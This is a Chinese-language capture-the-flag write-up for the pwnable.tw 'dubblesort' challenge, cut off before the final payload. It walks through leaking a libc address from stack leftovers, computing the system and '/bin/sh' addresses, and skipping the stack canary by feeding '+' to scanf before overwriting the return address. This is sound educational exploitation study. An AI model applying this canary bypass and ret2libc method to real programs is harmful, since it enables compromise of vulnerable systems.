用gdb断在输出姓名那一行代码上,观察栈的构造,看有没有重要信息可供泄露.
0x56555a18 <main+85> call read@plt <0x56555630>
fd: 0x0
buf: 0xffffd54c — 0xaf17
nbytes: 0x40
0f:003c esi 0xffffd54c — 0xaf17
10:0040 0xffffd550 — 0xffffd783 — '/home/dylan/desktop/pwnable_tw/dubblesort/dubblesort'
11:0044 0xffffd554 — 0x2f /* '/' */
12:0048 0xffffd558 — 0x56555034 — push es
13:004c 0xffffd55c — 0x16
14:0050 0xffffd560 — 0x8000
15:0054 0xffffd564 — 0xf7fb6000 (_GLOBAL_OFFSET_TABLE_) — 0x1b1db0
我们可以看到栈的下方偏移为6的地方存有GOT表,我们可以泄露这个地址,然后获得libc加载的基地址.接着readelf获得libc.so文件中got的偏移(省略了无关信息)
[127] % readelf -S libc.so.6
共有 68 个节头,从偏移量 0x1b0cc8 开始:
节头:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
......
[31] .got.plt PROGBITS 001b0000 1af000 000030 04 WA 0 0 4
......
现在只要我们泄露GOT的地址,再减去偏移地址0x001b0000,就得到了libc.so文件的加载地址.
得到libc基地址就可以计算出system函数以及'/bin/sh'字符串所在的地址,现在目标地址以及有了,只需要控制eip就可以了.这个溢出也很简单,只要用scanf覆盖返回地址就可以了,但这个题最难搞定的点就在这里,他开了Canary检测,如果我们想要覆盖返回地址,那就会覆盖Canary,导致溢出失败,所以要先想办法解决Canary.
我最先想到的是非法输入,scanf读取的是一个%u,我们随便输一个字符,但是读取数字的这个循环只对stdout进行了清空,而没有对输入进行清空,所以这个非法输入会导致后面的输入也全都无效,自然不能覆盖返回地址.
//非法输入的结果
[0] % ./dubblesort
What your name :0x2l
Hello 0x2l,How many numbers do you what to sort :10
Enter the 0 number : 1
Enter the 1 number : 2
Enter the 2 number : 3
Enter the 3 number : 4
Enter the 4 number : 5
Enter the 5 number : fuck
Enter the 6 number : Enter the 7 number : Enter the 8 number : Enter the 9 number : Processing......
Result :
0 1 2 3 4 5 1815246896 4160405504 4292118532 4292118538 %
那有没有一个既合法又不会改变数值的输入呢?有,那就是'+'和'-'.这两个符号可以定义正负,所以会被识别为合法输入,但是仅凭一个加号或者减号scanf又无法获得有效数值,所以这次输入是"合法且无效的",正好满足我们对Canary所在地址的操作.和非法输入不同的是,上一次无效的scanf并不会影响接下来的scanf,scanf识别不到有效数据的话会继续中断等待我们的输入.这样,我们可以肆意修改栈上的数据,只要在Canary地址处输入一个'+'来跳过他.
现在所有需要的东西都已经具备了,可以开始构建我们的payload了.
先看一下程序开头那一堆变量:
int eax_number_count; // eax
int *number_buf_ptr; // edi
unsigned int index; // esi
unsigned int index_1; // esi
int result; // eax
unsigned int number_count; // [esp+18h] [ebp-74h]
int number_buf; // [esp+1Ch] [ebp-70h]
char name_buf; // [esp+3Ch] [ebp-50h]
unsigned int canary; // [esp+7Ch] [ebp-10h]
number_buf就是我们保存输入数字的地方,而canary的相对偏移为0x60,canary相对返回地址的偏移为0x1c.返回地址之后我们还需要再填充一个返回地址(随便写)和'/bin/sh'的地址作为参数.